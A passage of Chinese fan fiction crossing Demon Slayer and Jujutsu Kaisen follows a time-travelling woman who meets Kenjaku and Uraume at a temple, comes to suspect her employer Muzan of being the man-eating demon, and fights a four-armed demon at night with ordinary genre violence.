继国严胜揣测这仙人刚刚说过的话,“守护”、“均衡饮食、规律作息、适当锻炼”,也许只要坚持这些,仙人一定就会再次来见自己。
他给自己打气,摸了摸自己刚刚被揉的凌乱的头发,顿了顿。
继国严胜想起了母亲。
12. 危险
我快速在山间奔跑,誓做山间最灵活的猴。跑得差不多了,回头一看,果然没人追上,我放心地舒了一口气。
我不太擅长应对哭了的小孩。我曾经干过商场游乐设施旁看小孩的兼职,玩着玩着突然打起来又哇哇大哭的小孩,没弄清前因后果就开始大声怒骂口水都要喷我脸上的家长,这些都给我留下了很深的心理阴影,以至于一看到继国严胜哭我就想跑。
不过既然跑到这了......
我向前方看去,此处通向山顶寺庙的小门。来都来了,不如就去转转。
万一这能碰见什么得道高人,看出我来自另一个时空,直接帮助我回去该多好,毕竟穿越小说里这样的大师似乎都是标配。
秉着遇到就是赚到这样的心理,我提着蛇就打算从小门进去。
不过拿着一条死蛇进去好像不太礼貌。
我将这条不幸的蛇挂在了一棵低矮的树上,准备回来再拿。
寺庙看起来建成已有些年头,寺庙不大,从后门进入转了一圈竟然没怎么见到人。
这不会是已经荒废了吧?这样还准备送缘一过来?
我步入大殿,巨大的彩绘木雕神像映入眼帘。神像身穿女士和服,盘坐在台上,拿眼斜睨着来访的人,显得满不在乎的样子。神像腰侧部又有两手伸出,持着不知什么东西。
周围并未有题字说明,我也并不了解霓虹神明体系,只是觉得穿着和服的神像似乎和以往庙中见的不一样,再加之四手的这个设定让我联想起两面宿傩,因而心情不是很妙,转身,只想着先行离开。
“施主。”一道声音忽得从背后传来,我只感觉汗毛直立。
什么时候来的人?
转身看去,一个穿着褐袍的僧人头戴斗笠,款款朝我做了个揖,面带浅笑。
这几天都没下雨,青天白日带什么斗笠呢?而且,他是什么时候出现的?
自从做了试药人后,我的五感就十分敏锐,至少十米内有人我都能有所感应。上一个在背后吓到我的人还是缘一。
我面上不显惊讶,施施然回了个礼,语速飞快毫不拖泥带水,“大师您好,误入此地,现在就离开。”
我现在不吐槽为什么继国严胜的两个侍卫一看我便喊妖物了,将心比心,在这无人的寺庙,加上祭拜着不知名的神像,我现在也觉得面前这位“僧人”像山野间的邪魔一般。
我心里想着,脚步不停,踏着小碎步便想后撤。
然而,那“僧人”只是仍旧笑着,却并不上前。
“您的身体最近是否有什么不适呢?”他突兀地发问,又面带微笑接着道,“贫僧略懂一些医术,能看出姑娘您的身体好像有些不同寻常。”
天呐,这套路我不要太熟。江湖郎中也是这样,大喊着你有病把你唬住,然后列举一下大家都有的症状,什么失眠、焦虑、健忘,然后等你点头觉得ta真是料事如神后再哐哐开很贵的药。
没想到这种套路如此源远流长。
我内心腹诽,但是还是很礼貌地婉拒,“谢谢您,但是我觉得我的身体还不错哈。”
毕竟身体素质变好也并不算什么大事,说不定是因为我是个营养均衡、肉蛋奶都吃的现代人,因此在这个人均营养不良的年代显得鹤立鸡群。再加上我蹭上了医师给产屋敷月彦开具的大补药,身体好点也是正常的吧。
然而,那个“僧人”并未放弃推销,只是又换了个方式,“姑娘来庙中是求姻缘的还是?”
不是吧,这到底有完没完。
我只得老实道,“我真没钱。”所以真没必要骗我,不管是钱还是性命。
这个直白的话显然让这个僧人噎住了一下,他略微蹙起了眉头。
我哪管这么多,懒得理会直接要走。
然而后撤步的时候,突然心有所感,我立马刹住,撇过头,一个白色妹妹头的家伙不知道什么时候站在了那里。如果我再退一步,就会直接撞到他身上。
见我及时停下,白色妹妹头的眼中滑过一丝讶异,但是有很快恢复成面无表情的样子。
不是吧,前后围堵吃相也太难看了。
我站定在中间,只感累觉不爱,这算是出门没看老黄历嘛。
我从牙缝中挤出笑,“两位还有什么事吗?”
“最近山下有人行色匆匆,又是发生了什么?”那个白色妹妹头发问,抱着手臂看起来满不在乎。但我能感觉到,如果不好好回答这个问题,就会有危险。
我从来不轻视这种直觉,毕竟工作生涯多少次直觉都救了我。“
两面宿傩又出现了,城中有多人死伤。”我尽量精简概括,不带任何情绪色彩。
山下的人自然是因为医师死亡而前来哀悼,但是在这种“邪魔?”前提及医师我担心给珠世小姐带来不幸,因此还是说罪魁祸首就好了。
这一句话却给两人带来极大震撼,褐袍僧人“哦呀”一声,白色妹妹头放下交叠的手,朝我一指,我只感觉浑身一冷,脖子以下的身体都僵硬了许多。
这绝对是邪魔啊。
我其实感觉自己的身体还能动弹,但是看着白色妹妹头愤怒的眼神和奇怪的手势我决定还是装作自己不能动弹比较好。
“你说,宿傩大人又再出现了,怎么可能?”他一字一顿地重复着我说的话,末了嗤笑一声。
不是,你自己消息不灵通还怪我?我眼珠子转着,看向店内神像,忽然福至心灵。等等,四手神像,宿傩大人,难道这个妖怪是什么两面宿傩的狂热粉?那么,他应该不至于不知道两面宿傩的动向才是。
不对。我的内心忽然有了一个猜想,为了验证这个猜想,我尽量使我的声音变得义愤填膺起来。
“但是山下确实有着妖物一直在夜间出现吃着妇女和儿童,难不成是有妖怪敢冒名顶替宿傩大人?”
显然,这样的举动取悦了白色妹妹头,他一挥手,我便感觉身体轻松多了。“只在夜间出行的东西,这样不长眼的东西还敢顶替宿傩大人,哼。”
我的身体松快了些,心却沉了下去,所以说,这个吃了樱和大家的妖物并不是两面宿傩。那么医师头背后的刀伤和应该在内室但是毫发无损的产屋敷月彦?我心中有更大的疑云浮现。
“那他还真是嚣张啊......”我的话不能说太多,眼药上到就点到为止,如果能让他和那个妖物对上最好,不过这个两面宿傩的狂热粉看起来也不像白痴。
白色妹妹头冷哼
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一声,眼神微动,看起来自有想法。
好了,这关勉强算是过了。
我将目光移向褐袍僧人,看这个邪魔准备说些什么。然而他这回显得很好说话似的,只是笑笑,“这位姑娘,感谢您告知我们这些消息。我们该怎么报答你呢?”
他似乎要从衣袖中掏出什么东西,只是看了我身后一眼,手又停下了。
“没事,我做好事不图回报,我还是先走了。”我实在不愿再拉扯,谁知道再扯下去还会不会出现迷之第三人站在我身后。
“真是位心地善良的人啊。不过,还是请您告诉我的姓名吧。”褐袍僧人的话带着不容置疑。
就这个?
“产屋敷月彦。”我敢保证我的声音从没这么诚恳过,“无需报答,我产屋敷月彦一直如此。”
褐袍僧人点点头,“那么,月彦小姐感谢您。”
见再也没人阻拦,我飞似的逃离。跑下山的时候,我还顺带观察着继国严胜他们是否在山,没看见他们在山后我又绕了几个山头,远离寺庙保证自己沾染了足够复杂的气味后才回到医师的别野,像珠世小姐说明了那边有个不妙的寺庙要小心后后,我就带着重抄的药方和典籍离开了。
珠世小姐善心地将驴车赠与了我,使我方便赶路。
我带着驴,给它前头挂着草料,一路风驰电掣往产屋敷月彦的宅邸赶。
山间野庙中,褐袍僧人摘下斗笠,露出额头上一道显眼的缝合线。
“真是神奇的一位小姐啊。”他看向殿外,正是刚刚那个女子离开的方向。
她的身后,是一个巨大的咒灵,怨气冲天。即使是他也为之侧目,这究竟是多少人类负面情绪的集合体呢,完全具备特级咒灵的潜力。
但是这位月彦小姐却好像完全不受影响一样,真神奇呢。“明明看不见咒灵,却具有这么强大的潜力。”絹索忍不住感慨,“更难能可贵的是,连躯体都这么的强大。”
妹妹头里梅斜眼看过去,显出几分警告的意味,絹索摆摆手,无辜地笑道,“我并没有跟宿傩抢受肉的意思,不过想来宿傩大人才沉睡不长时间,现在就复活恐怕还太早了。再者,她的躯体还能变得更完美,到时候再夺过来也不迟。”
絹索回忆着之前与他聊过几句的医师,内心不由有几分讶异,没想到一个普通人真的能做到这点--如果做得好,这可就是人类的进化啊。
里梅并不在意絹索委以虚蛇的笑,他只说,“我得给那家伙一个教训再沉睡。”
絹索不以为意,“你自便就好。”他看着里梅的倏忽离去的声音,叹了口气,“我就知道只有我一个人善后。”
他走到神像身后,有一个普通樵夫和几个僧人瘫在地上,已无气息。
他将这些人拖入土坑,埋好,又从袖中掏出了几个形状诡异的手指。
“还不是时候啊......”絹索站在山头,望着平安京的方向,手摸了摸下巴,“这个身份刚刚好啊,要不先去那边和师兄们交流一下教诲呢?”
风吹过,空气中只留下一声佛号,这个身影已消失不见。
坐在牛车上的继国严胜揉了揉眼睛,有些不解。
他刚刚明明看见那里有人的。
13. 回城
在草料的刺激下,毛驴达到了普通马匹的速度,一路风驰电掣,把我颠得十分难受。
也正是在这颠簸中,我的思绪慢了下来。
我想到了自己没来得及带走的蛇,有些肉疼。
看来下次得用别的东西报答珠世小姐啊......我摸了摸包裹里的典籍和药方,不免感慨。
日夜兼程,我总算赶到了城里。
不过离去四五日,一回城,似乎挂着白幡的人家更多了。
我驾着驴车来到市集,看到了熟悉的黑皮少年。
“哟,少年。”看着依旧在摆摊的少年,我顺手从驴车上拿出路上编的虫笼就递给他,“现在还收虫笼吗?”
他接过虫笼,打量了一下点了点头,就收下虫笼,从一个袋子中掏钱给我。
我接过钱,仔细数着,“咦?怎么比以前更多了。”
黑皮少年努努嘴,“那还不是现在妖物总在夜间害人,大家都害怕,以往夜间愿意去捕虫的人也只敢呆在家里了。虫子变得金贵起来,自然也要配上精致的笼子。”
我毫不客气收下了精致虫笼制作者的赞赏,不过还是奇怪,“少爷小姐们难道现在还要赏虫吗?”这样危险的时刻,难道不应该心绪不宁,去集合阴阳师或者加钱增加护卫吗?供给端跟不上我能理解,不过需求难道不转弱吗?
黑皮少年显然也是不解,“谁知道呢?在这样的时刻,贵人们还觉得听着虫鸣能感受到内心难得的宁静呢。反正现在好的玲虫、螽斯能卖出这个价呢!”他的手给我比划了一个数,我忍不住嘶了一声,有些心动。
黑皮少年瞪大了眼,“不是吧,你难道这种时候还想......”
我立马头揺得跟拨浪鼓一样,要钱还是要命我还是清楚的。
不过既然遇上了消息灵通的少年,我还是忍不住多聊了几句。“现在城里大家都说现在的妖物是两面宿傩吗?”
黑皮少年惊恐地看着我,“你怎么在大街上就直接说出那个名字?”他随后压低了声音,“不是他又能是什么呢?你别直呼其名,万一妖物找上你怎么办?”
这是什么被说名字就能感应到的技能吗?不至于吧。但看着少年害怕的样子,我还是没这么说,“可是现在没人见过那个妖物长什么样子吧?ta不是很多年都没出现吗?”
“但是也没听说还有别的会吃人的妖物啊。”少年嘟囔了一下。
我立马乘胜追击,“那么这么多年来人们就没知道这妖物有什么弱点吗?”
这个显然超过了少年的知识范围,他皱起眉头思索了很久,还是摇头。
“不过,这妖物有在白天出现过吗?”我假装云淡风轻地问出这个问题。
少年思索片刻,“不好说,因为正面遇上他的人都没有活下来的,不过一般都是晚上或者黎明时才发现那些人被......”
我点了点头,和少年挥手告别,赶去了产屋敷月彦的宅邸。
总结了一下现在获取到的有限信息:首先,现在这个怪物绝对不会是两面宿傩,两面宿傩要么是陷入沉睡了要么就是被封印了,至少现阶段不会出来兴风作浪。其次,这个怪物只在夜间出现。这可能就是因为像吸血鬼或者僵尸一样惧怕阳光但是不惧怕月光。
如果是这样了话,阳光是太阳直接的电磁辐射,月光只是月亮反射的太阳光,所以惧怕太阳光但是不害怕月光是否与光线强度有关呢?而与吸血鬼或者僵尸类似了话,不知道大蒜或者桃木剑这样的东西会不会是他的克星?
而如果与吸血鬼和僵尸类似了话,这是否代表着“吃人的妖物”的群体会不断扩张呢?这个猜想让我的心忍不住下沉,我呸呸两声,心道小孩不懂事乱说的,那个妖物一定是没用羸弱不能繁衍的废物。
我将驴车赶往车屋,再离开前又给劳累的驴重新添了水和草料。没想到在养不起人的年纪,我就多了一辆豪车。看着毛驴欢快地吃着草料,忍不住感慨,真是抱歉,只能靠上班偷水偷电唉不是顺便用产屋敷月彦的水和草料来养你了。
看着毛驴吃了一会草,我就带着剩下的钱财去找管家汇报慰问的情况,提及樱和阿春恸哭的家人时,管家沉默了一会,直到说道珠世小姐好心帮忙重抄了药方,他才露出笑容,点了点头。
他将剩余的路费钱财全部给了我,我坦然收下,毕竟在这样危险的时候出去总该是有些补贴,虽然产屋敷月彦并不会考虑这些。
这也算出差的意外之喜。我将这差旅费放进了钱囊里,贴身放着,感觉心里很是熨帖,即使是要去给产屋敷月彦递药方,心情也是不错。
内室依旧是如此昏暗,好似永远照不进阳光。产屋敷月彦坐在内室最深处,旁边点着烛火,正在翻阅着什么书籍。
大白天的为什么不将纸门打开些晒晒太阳呢?总不能是为了防晒吧。
产屋敷月彦的脸在烛火的映照下,勉强有了几分色彩。但是细看仍是面如白纸,毫无血色啊。几天不见,他的气色依旧如此之差。
我内心猜测这样何时会嗝屁,面上不显,恭恭敬敬地通报,恭恭敬敬地将药方和典籍递了过去。
产屋敷月彦接过典籍和药方,随意地翻看了一下便放在案上,便叫我退下。
我有些意外,我还以为我又回被他晾在这,然后被意义不明地打量许久再被刁难一番然后才能离开。
我速速离开,内心警告自己小心无良上司的PUA,烂人变得正常并不代表他不烂了。毕竟能叫我独自赶路并且不报销任何差旅费的就是他呢。
离开后又是饭点,我直接去吃了饭。路上舟车劳顿全靠干粮充饥,此时能好好饱餐一顿真实让我感动地要痛哭流涕。那位年长的下女笑眯眯给我添了饭,感慨道,“你这小丫头,真不容易,这一趟下来都瘦了,怎么接下了这么危险的活计,还要出城呢。”
我吞下了口中的饭菜,想着自己并不瘦弱的身体,并不回答,只是露出淳朴的微笑,显得整个人很憨。我对医师感情并不身后,但毕竟受过医师恩惠,因此跑着一趟并不算什么。而且按产屋敷月彦当时的口吻,这个活计并不是我能拒绝的。不过这些并没有必要说出来。
看我傻笑的样子,年长下女又是无奈,再给我添了些肉食。我连忙道谢,又火力全开地干饭。
“你慢点吃。哎,要是月彦少爷也能有你这样的好胃口就好了。”年长下女感慨道,神色有些担忧。她很早就在产屋敷家工作,可以说是看着产屋敷月彦长大,总是对他带着一种奇怪的温情滤镜。
对于给我添肉的好人我并不打算让她的话落在
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地上,我咽下嘴中的饭,帮着搭腔,“月彦少爷最近的胃口还变得更差了吗?”产屋敷月彦胃口本就不好,或者说是因为身体的缘故本就无法吸收,所以他吃得甚少,如果是专门为了补充营养而多吃一些甚至餐后就会忍不住吐。
因而有时候给他的餐食甚至大部分菜都会原封不动地又收下来,下人们也会分食这些。所以,产屋敷月彦的胃口还能更差?
我有些怀疑这是属于年长下女滤镜下的夸张说辞,毕竟胃口更差了话他就几乎算作不用吃饭了,这样子了话怕也是要不行了。
年长下女只是担忧地点头,又长长地叹了口气,“胃口这般,加上少爷20岁的生辰也快到了,这可真叫人担忧。”
“真是令人担忧啊。”我是一个优秀的复读机,抓紧时间扒了几口饭食,又点点头附和。
“可不是嘛,再加上医师还不幸遇难了。这月彦少爷的身体该有谁来调理啊?我看新来的医师都不太行的样子。”她小声吐槽着,一面又眼睛打量着四周,担心有人偷听到什么。
请新医师的事我倒是不知道,虽然没什么发言权,但是想着这位姐给我打菜时稳妥不抖的手,我依旧认真地点头表示赞同。
不过。
我扒完碗内的最后一口饭,终于感觉有些吃饱了,便也学着年长下女的样子,低声说道,“我想问您一件事,最近城中这妖物,还有在别的城害人吗?”
我说的声音很小,却像是把年长下女吓了一跳,“你怎么问这么恐怖的问题?”
我也佯装害怕,“我之前不是出了城吗,好在没出什么事。我担心如果以后还会被派到别的城里去跑腿,也有什么怪物吃人的事,那可真是......”
我尝试抹了抹眼角,虽然没有眼泪,但是这样气氛到位。
年长下女叹了口气,“你也是不容易。我是听说现在就好像只有我们城遭遇了这种事。不过现在这天下哪里又太平呢,你就说平安京吧,前几年也是怪事连连,但是现在不也是好了些?”
年长下女的消息十分灵通,虽然不知道她的消息来源,但我还是十分信服。
结合现在的信息,这怪物难道就一直隐匿在这座城池中?
“但是这不幸的事什么时候才能结束呢?”我听见年长下女喃喃自语,她看着我,又好像在通过我看着其他人,眼神恍惚。
我也不知道答案,不过,“总会结束的。”
我是这么想的。
产屋敷月彦翻看着医师的药方,他很快获取到了关键的信息,“青色彼岸花,青色彼岸花......”,他嘴中反复咀嚼这个词。久病成医,但是他对这个药物并不了解,甚至可以说闻所未闻。
产屋敷月彦让下女叫来新的医师们,询问他们有没有听说过这个药材,然而,答案是出奇的一致--从未听说过。顺手将手边的茶碗扔向那群废物,在控制着力和方向的情况下,他们的脑袋没有开花,只是满地的碎片让他们变成了一群鹌鹑,颤抖着身体不敢说话。
“如果你们治不好我,我会杀了你们。”产屋敷月彦扫视着这群鹌鹑,声音甚至带着点笑意。他这回会比上一次耐心些,但前提是,这些家伙有点用。
否则。产屋敷月彦的眼里闪过红光,他舔了舔嘴,觉得胃口很好。
14. 解密
“咦,现在的药还有我的份吗?”我看着宅邸药房内忙进忙出的医师们,有些讶异。
他们点了点头,又在药房内疯狂交流着如何才能医治产屋敷月彦。
他们一方面要尝试配出之前医师开的配方,另一方面,“虽然我之前有听说过,长久不见阳光的人会惧怕在白日行走。但是,如果通过药理来克服它还真是一个难题。”
嗯?惧怕在白日行走。
我顿了一下,往医师们中间凑去,做出一副好学努力的样子,“好少见的症状,是谁需要治疗这个呢?”
“当然是产屋敷月彦大人了。不过我觉得他可能更需要调理一下肝火......”我只感觉世界好像消音了,医师后面说什么我已经听不见了。
产屋敷月彦。如果是产屋敷月彦了话,时间、地点似乎都对得上,那么樱他们......
我感觉浑身发寒,下一秒,医师就端着已经放凉的两碗药叫着我。
“你就是叫李吧,跟我走吧。产屋敷月彦大人找你,你得帮着他试药。”他将托盘递给了我,托盘上,是两碗黑色的汤药,看起来就苦涩无比。
我看向门外,已是傍晚,一点太阳都看不见了。
能不去吗?
这是我的第一反应。
我的大脑飞速运转着,危险的雷达滴滴作响。
如果真是我想的这样,那么产屋敷月彦就是那个吃人的恶鬼。他的危险程度不言而喻--残暴、谨慎、没有人性。
我现在是不是应该直接离开?
不过这个念头下一秒就被我否决了,药房里那么多药师,宅邸里那么多下人,如果因为我的离开而使得产屋敷月彦起疑心怎么办。我虽然自认个不是什么圣人,但是只顾自己逃跑而导致无辜的人死亡这种事我也做不来。
而且最现实的问题在于,现在正是晚上,在这时离开跑不跑得过产屋敷月彦还有待商榷。夜晚是怪物的主场,我没有把握。
“怎么还不走?”一位医师站在前头,见我直愣愣地待在原地,有些不满。
我没有回话,只是慢慢踏出步子,跟在他身后,继续快速地思考。
现在有几个值得商榷的点。第一、为什么产屋敷月彦要伪装人类?最了解领导臭脾气的很大程度是被他压迫的打工人,因为领导不把你当人,自然不介意暴露自己的性格缺陷。产屋敷月彦的自傲和暴躁不言而喻,如果他真的拥有了能吃人妖物般强大的力量,那么人类的认同对他来说应该无足轻重。
人类的身份能给他带来什么资源?社交、财富、名声、更方便吃人?不对,看着走在我前面的医师,我心中有了答案。他的身体还不够完美,惧怕阳光就是最明显的弱点。
那么接下来第二点,产屋敷月彦是怎么变成现在这个样子的?虽然民间传说中获取强大的邪恶力量总有多种途径,但是府邸里既没有奇怪的恶魔召唤阵也没什么奇怪的幽灵现世的传闻,变成这样应该不是什么突发的意外事件。
那么答案应该就在于药上,我想起了产屋敷月彦特意要寻来的医师的药方,又想起了试药的自己。可是我并不想吃人啊?我看着案上的药,思绪飘忽了一瞬。那么这个暂且呈保留态度吧,也许只是医师的药剂对身体很好?摔坏古董召唤出恶灵的概率虽然小但并不是没有。
然而还没等我将思绪全部捋顺,我和新的医师已经到达产屋敷月彦的内室外了。可恶,打扫卫生时觉得这个宅邸太大了,这时候倒显得很小。
站在内室外,我努力平心静气,就像以往一样。这一切还都是我的猜测,如果产屋敷月彦真的只是因为身体虚弱免疫力降低而对紫外线过敏也并非不可能。
但是,真的会如此吗?
室内的灯火依旧如此昏暗,新的医师老老实实地站在一旁,我带着案上的两碗药,等着产屋敷月彦的命令。
“你,试药。”产屋敷月彦的命令言简意赅。
我望着药,药里倒映着我面无表情的脸。虽然关于变成妖物的原因,是药只是我的推测,不过......
“为什么还不喝?”产屋敷月彦催促道,他的耐心薄如蝉翼,他已经开始不耐烦了。
我在产屋敷月彦要杀人的眼神下,慢悠悠地喝下了药。我感到他的视线几乎凝实,牢牢固定在我的我的咽喉处。可恶,这样就不能不吞咽了。
痛苦地吞下了一整碗药,苦涩的味道充斥着嘴,真是难喝啊。
我将案上的药向产屋敷月彦送去,他紧盯着我,并未接过这碗药。
“有什么感觉吗?”他好似漫不经心地问了一句。这句话简直和我之前的猜测不谋而合--看来异变的关键与药有关,至少产屋敷月彦是这么认为的。毕竟以往我只是担任试毒的角色,只要看起来没毒产屋敷月彦也就接过去喝了。
我沉吟片刻,露出有些痛苦的表情,“嘶--这药有点特别......”
果不其然,我看到产屋敷月彦露出惊喜的神色,他笑着将药端过去一饮而尽,而后像是再等待着什么似的。
然而,什么也没有发生。
产屋敷月彦凛冽的目光看向我,肉眼可见怒火喷涌而出。
“你这蠢货,你说这药究竟有什么特别的?”
我张了张嘴,尝试散了散最终的苦涩之意,诚惶诚恐,回答得十分老实,“月彦大人,我的意思是这药有点特别苦,您是否需要一些蜜饯?”
“哈?”我能感到他的怒火喷涌而出,他顺手将药碗砸到我身侧,我有十分顺手地拿案板接过。产屋敷月彦一愣,更是冷笑几声,嘴中骂着没用的家伙。我看着狂暴的产屋敷月彦--这位大概率是吃人妖物的家伙,心里意外地十分平静。
我想,我赌对了。如果产屋敷月彦真是吃人妖物,又真是因为药物的问题导致的,那么我作为试药的人,应当算是产屋敷月彦最好的实验体,至少在现在的情况下,我的生命是能得到保障的。
那么,接下来我需要做的就是确认了,确认他到底是不是那个吃人的家伙。
为了印证我的猜想,我申请到了去产屋敷月彦身边服侍,但是这其
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实也不需要申请,毕竟大家都避之不及。第二天早上,我好心询问了产屋敷月彦是否有外出的需要,被拒绝;秋日虽然没什么好景色,但是可以看看院落中的秋景,被拒绝。
我努力将自己伪装成一个关心领导的好下属,但是可惜没人能理解我的意思。用餐时,年长下女还委婉地和我说,虽然想要让月彦少爷出去走走的心是好的,但是万事还是要以月彦少爷的意愿为主,他毕竟身体是如此地虚弱。我嚼嚼嘴里的饭,思考着是否暴力撕开纸门让阳光直射内室是否可行。
然而管家的话打断了我的思路,他说,月彦少爷似乎有事想要去平安京一趟。
“月彦少爷要什么时候出发呢?”我顺势问道。
年长下女暧昧一笑,“月彦少爷也到了要相看贵女的年纪了。这几日整理一下东西,便能先去平安京的本家住着,再秋日宴上与一些贵女见面看看......”离产屋敷月彦的20岁已经不远了,本就到了这个年代成婚的年纪。不错的身世,加上还可以的面容,他的坏脾气又未在贵族社交圈传开,因而产屋敷月彦竟能算上个不错的婚配对象。
至于身子病弱,这不是快到20了也没直接溘然长逝,说不定以往关于他会早逝的只是谣言。家中又适龄女儿的贵族们这么想着,更是满意。何况人生三喜升官发财死老公,就算产屋敷月彦真的不幸离世,对于并不缺钱的贵女们也不算大事。
难道产屋敷月彦真不是吃人的妖物?平安京不比这座城池,里面必然有厉害的阴阳师,如果是一般的妖物,难道不是应该避之不及?
然而这些问题的答案都没得到解答,因为产屋敷月彦第二天的晚上带着一众下女和管家前往了京都的产屋敷主宅,而我被留在了这里。
我趁着他们走后悄咪咪翻了内室和其他产屋敷月彦所在的地方,但除了医师的药方和一大推典籍外并没什么看着比较奇怪的地方。
也有一些关于两面宿傩的传闻的相关记载,但我翻阅了一番并没有什么收获。又悄咪咪将那些东西的位置复原后,我有些怅然。
然而,怅然还未消散,我就听着宅邸外传来了尖利的惨叫。我立马冲了过去,就看见骇人的一幕。
一个醉汉趴在地上,痛苦地嚎叫着,两只手不断挣扎地滑动着,却没有任何作用。
他的身上,一个四只手的怪物正在欢快地进食。听到声音,那个怪物抬头一看,四只红眸发出意味不明的神采,“嘻嘻嘻嘻,你也要一起来吃吗?”
在平安京的某个书房里,产屋敷月彦百无聊赖地翻找着书籍,确实意料之中的一无所获,倒是有人在提及两面宿傩时提到了诅咒师,但是这与他的情况并不相符。
“不过这也没有关系”,产屋敷月彦看了眼自己的手掌,“让那些家伙替我去找也来得及。而且,两面宿傩,这样四只手的家伙我也能造出来。”
他已经能够通过血液制造下属了,找到青色彼岸花想必也只是时间的问题。而阴阳师?他在进平安京的路上已经尝过一个了,味道和普通人也没区别嘛。
15. 杀鬼
醉汉的厉声惨叫也吸引了产屋敷月彦宅邸中的其他人。
然而,当众人赶到时,看到这骇人的景象,一时间竟无人敢上前。
无他,实在是太血腥了。
那不断进食的口器,凄厉诡异的声音,看起来遒劲有力的四只手还在不断抓取着血肉,空气中弥漫的浓郁的腥气,这些无一不再给人们增加着恐惧。
可是,我看着妖怪身下还在不断挣扎的手。
还在动,说不定还有救!
可是,怎么救?如果我之前的推测没错了话,这妖物的弱点应该是阳光。
但是,现在,正是晚上。我抬头看了一眼高悬的明月,苦笑了一下。这离太阳出来至少要几个小时。
有人已经后退,说是要叫着夜晚巡视的武士们过来。那个妖物看起来也不甚在意有些人的离开,他仍在专心致志地啃食。
再这样下去那人就要没命了!
我咬了咬牙,随手捡了块石头向那妖物扔去。我用了十成十的力量,石块的速度快又急,发出破空的声音,好似一支利箭扎入妖物的肉中。
然而,石子太小,并没有起到什么作用。那个妖物嘶了一声,像是不满被打扰,缓缓从那人的身上爬起来,环视四周。
“为什么呢?不一起吃吗?”他嘶哑地发问,四只手诡异地摆动着,我看清了怪物的正脸。或许说是正脸并不贴切,因为他长得就像一个呕吐物一样,正面只有芝麻大的双眼和还带着血肉的口器。
果然不是两面宿傩,我飞速对比了之前看过的木质神像和这个怪物,立马下定了结论。就算那个白发妹妹头有很大滤镜,也不可能将一团呕吐物雕刻得有鼻子有眼。
怪物环视一圈,又好似找不到目标一般,又打算俯身去继续用餐。
这怪物看起来不太聪明的样子,反应迟钝视力不佳,我在心底下了初步判断。
一同跑出来的下女看着眼前这一幕,发出呜咽的害怕声。我想了想,悄声附耳说道,“拿些火油和一把柴刀过来。”这怪物现在没有对周围人出手,并不代表待会不会。
下女虽然害怕,但是像是想起什么似的,又猛地点点头,飞快向宅邸里跑去。
等下女跑回去后,我又再次向怪物扔去了石子,这会的方向是在靠近头部的位置。怪物还未再次接触醉汉,就被石子击中头部,他这回的反应可比上次激烈许多,四只手不耐烦地挥舞着,看起来很是愤怒。
这么说头部难道就是弱点之一,我思索着,又看怪物环视一周,最终将方向转至产屋敷月彦宅邸的围墙,然后四只手猛地伸长,手臂膨胀至成人大腿粗后就狠狠向前摔去。速度虽然不快,但是却将围墙猛地就打烂了,而后又向前几步,离开了身下的人,似乎在寻觅着新的目标。
旁边的人吓了一跳,腿软地直发抖,手中的火把掉在了地上也顾不上,直接向远处逃去,然而怪物并没有追过去。
怪物的方向不断变化,就像抽奖转盘的指针一样被拨动着,缓缓地来到了我这一块。啧,我是什么区域最大的谢谢惠顾吗?
我再次为自己的运气咂舌,一面小心翼翼地挪动着身形,变换方向,怪物并没有随之变动。他好像一个高度近视的人,对着自己选择的方向迷茫但是依旧走了过去。
我真庆幸着自己没有被锁定,但是就看见怪物直朝产屋敷月彦宅邸走去。可恶,这里可不兴走啊!要带火油的下女还没回来,我只能想方设法吸引怪物注意力,至少不能让他进去。
我快速跑到了怪物相反的方向,随手捡起石子,一面攻击怪物的头部一面大喊,“来这里!”
然而石子攻击起到了作用,声音却不行,怪物被激怒地满地打转,却并不往我这里来。
那看来听力也不太行,视觉、听觉都不太行,那这个怪物是靠什么来袭击这个醉汉的?总不能是热成像吧?
我一边想,一遍挪至受伤的醉汉身旁。我粗略看了一下他的伤口,忍不住在心中叹了口气。受了重伤的人并不能随意拖动,我现在也无法将他移至安全地带。
那么这个怪物是怎么去攻击他的呢?我思索片刻,用力扯下了醉汉的一片衣角拿在手中,走向远方。
果不其然,怪物缓缓转身,慢慢地往我这边走来。
赌对了,是气味。
手中的衣料即使在当前浓重的血腥味重,依然散发着一股酒臭味,上面甚至还有一种迷之发酸的味道,十分恶心。这醉汉满身酒气,怪物应该是靠着这个浓重的气味来找寻目标的。
现在并不是计较恶心的时候,我手指捏着布料,将怪物朝远方引起。
如果按照这个怪物不是很聪明的样子,这样一面引一面跑或许能熬到太阳出来?
然而,我的预想并未实现。
之前逃跑的人叫来的巡查的武士到了。他们看着动作迟缓好似痴傻的怪物,呼哧一笑,将身侧的打刀拔出,对准怪物。
“这样的怪物,居然能吃这么多人?那些人究竟是什么蠢货......就让大爷我斩下这家伙的头颅吧!”武士看着背对他的怪物,猛地冲了上去。他身后的武士们也都一拥而上。
然而,我看着他们叫来的武士酡红的双颊,看着怪物渐缓的脚步,心道不妙。这是从哪门子酒宴叫来的吗?
“小心,这家伙嗅觉很好!对于酒味可能尤其敏感!”我语速飞快,声音洪亮,忙招收试图提醒这些人。
然而那群武士却不以为然,最前排的武士甚至能抽空扫了我捏着衣料挥舞的手,嗤笑了一声。
“哪来的女--”他的话没说完,因为怪物四只手中的两只非常灵巧地绕道了身后,猛地将他抓取,移至身前的口器,霎那间,鲜血横飞,武士的打刀甚至没来得及挥出。
他身后的武士好像这时才回过神一般,猛地刹住了脚步。普通人的鲜血不能浇灭他们的上头,但是他们同伴的莽撞却立马使他们酒醒,想要捉妖立功的心思立马熄灭。
怪物咬了一口就将那位武士放下,快速转过身,四只手轻轻晃动,像是蓄势待发。“一起吃呀?”他吐出模糊不清的几个音节后,这样发问。
武士的眼变得清明起来,里面流露出害怕的神色,脚步微微后挪。
我看着这蓄势待发的样子,再看看自己手上不多的石子,有些着急。
如果没有观察错了话,这个怪物再食人之后,似乎行动变得更迅猛了些。如果这群饮酒的武士都被吃了话,那他将变得多么难缠。
“挥刀,他的一处弱点在头部,不想死了话就反抗。”我大声呼喊怪物的弱点,试图让这些武士行动起来。至少这群武士自己得先自救起来,不能那么快被吃。
我又将石头狠狠砸向怪物后脑勺,又跑向前去,一个滑铲拿走
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了之前武士的打刀。
我没拿过打刀,只是一手握紧了打刀的刀柄,用力挥向了怪物的脖颈处。
这一刀下去仿佛砍向了石头,刀发出铮的一声,划破了怪物的血肉,却卡在了某一处。
怪物发出一声痛苦的嘶鸣,四手猛地向我袭来,我猛地拔出刀,侧身躲避。
